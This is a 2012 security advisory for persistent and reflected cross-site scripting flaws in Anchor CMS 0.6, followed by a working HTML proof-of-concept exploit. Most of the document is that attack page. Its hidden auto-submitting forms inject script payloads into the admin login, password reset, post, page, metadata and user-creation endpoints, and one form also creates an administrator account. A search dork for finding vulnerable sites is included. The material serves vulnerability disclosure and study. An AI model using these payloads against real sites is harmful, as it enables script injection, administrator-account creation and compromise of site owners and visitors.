Anchor CMS 0.6 Cross Site Scripting

Posted on 21 April 2012
<!--

Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities

Vendor: Team Anchor
Product web page: http://www.anchorcms.com
Affected version: 0.6-14-ga85d0a0

Summary: Anchor is a content management system, written in
PHP5, built for art-directed posts.

Desc: Anchor CMS suffers from multiple stored and reflected
XSS vulnerabilities when parsing user input to several parameters
via GET and POST method. Attackers can exploit this weakness
to execute arbitrary HTML and script code in a user's browser
session.

Tested on: Microsoft Windows XP Professional SP3 (EN)
 Apache 2.2.21
 PHP 5.3.8
 MySQL 5.5.20

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 @zeroscience

Advisory ID: ZSL-2012-5085
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5085.php

Dork: "intext:Powered by Anchor, version 0.6"

19.04.2012

-->

<html>
<title>Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities</title>
<body bgcolor="#000000">
<script type="text/javascript">
function xss0(){document.forms["xss0"].submit();}
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
</script>

<form action="http://localhost/anchorcms/index.php/admin/users/login" enctype="application/x-www-form-urlencoded" method="POST" id="xss0">
<input type="hidden" name="user" value='"><script>alert(1);</script>' />
<input type="hidden" name="pass" value="admin" />
</form>

<form action="http://localhost/anchorcms/index.php/admin/users/amnesia" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="email" value='"><script>alert(1);</script>' />
</form>

<form action="http://localhost/anchorcms/index.php/admin/posts/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="title" value='"><script>alert(1);</script>' />
<input type="hidden" name="comments" value="1" />
<input type="hidden" name="css" value="" />
<input type="hidden" name="description" value="ZSL" />
<input type="hidden" name="html" value="1" />
<input type="hidden" name="js" value="" />
<input type="hidden" name="slug" value='"><script>alert(2);</script>' />
<input type="hidden" name="status" value="published" />
</form>

<form action="http://localhost/anchorcms/index.php/admin/pages/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss3">
<input type="hidden" name="name" value='"><script>alert(1);</script>' />
<input type="hidden" name="title" value='"><script>alert(2);</script>' />
<input type="hidden" name="content" value="Zero Science Lab" />
<input type="hidden" name="slug" value="ZSL" />
<input type="hidden" name="status" value="published" />
</form>

<form action="http://localhost/anchorcms/index.php/admin/users/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss4">
<input type="hidden" name="real_name" value='"><script>alert(1);</script>' />
<input type="hidden" name="bio" value="MK" />
<input type="hidden" name="email" value='"><script>alert(3);</script>' />
<input type="hidden" name="password" value="admin" />
<input type="hidden" name="role" value="administrator" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="username" value='"><script>alert(2);</script>' />
</form>

<form action="http://localhost/anchorcms/index.php/admin/metadata" enctype="application/x-www-form-urlencoded" method="POST" id="xss5">
<input type="hidden" name="auto_published_comments" value="1" />
<input type="hidden" name="description" value='"><script>alert(1);</script>' />
<input type="hidden" name="home_page" value="1" />
<input type="hidden" name="posts_page" value="1" />
<input type="hidden" name="posts_per_page" value="1" />
<input type="hidden" name="save" value="" />
<input type="hidden" name="sitename" value='"><script>alert(2);</script>' />
<input type="hidden" name="theme" value="default" />
<input type="hidden" name="twitter" value='"><script>alert(3);</script>' />
</form>

<br /><br />

<a href="javascript: xss0();" style="text-decoration:none">
<b><font color="red"><h3>XSS 0</h3></font></b></a><br />

<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><h3>XSS 1</h3></font></b></a><br />

<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><h3>XSS 2</h3></font></b></a><br />

<a href="javascript: xss3();" style="text-decoration:none">
<b><font color="red"><h3>XSS 3</h3></font></b></a><br />

<a href="javascript: xss4();" style="text-decoration:none">
<b><font color="red"><h3>XSS 4</h3></font></b></a><br />

<a href="javascript: xss5();" style="text-decoration:none">
<b><font color="red"><h3>XSS 5</h3></font></b></a><br />

<a href='http://localhost/anchorcms/index.php/"><script>alert(1);</script>'>XSS 6</a>

</body></html>
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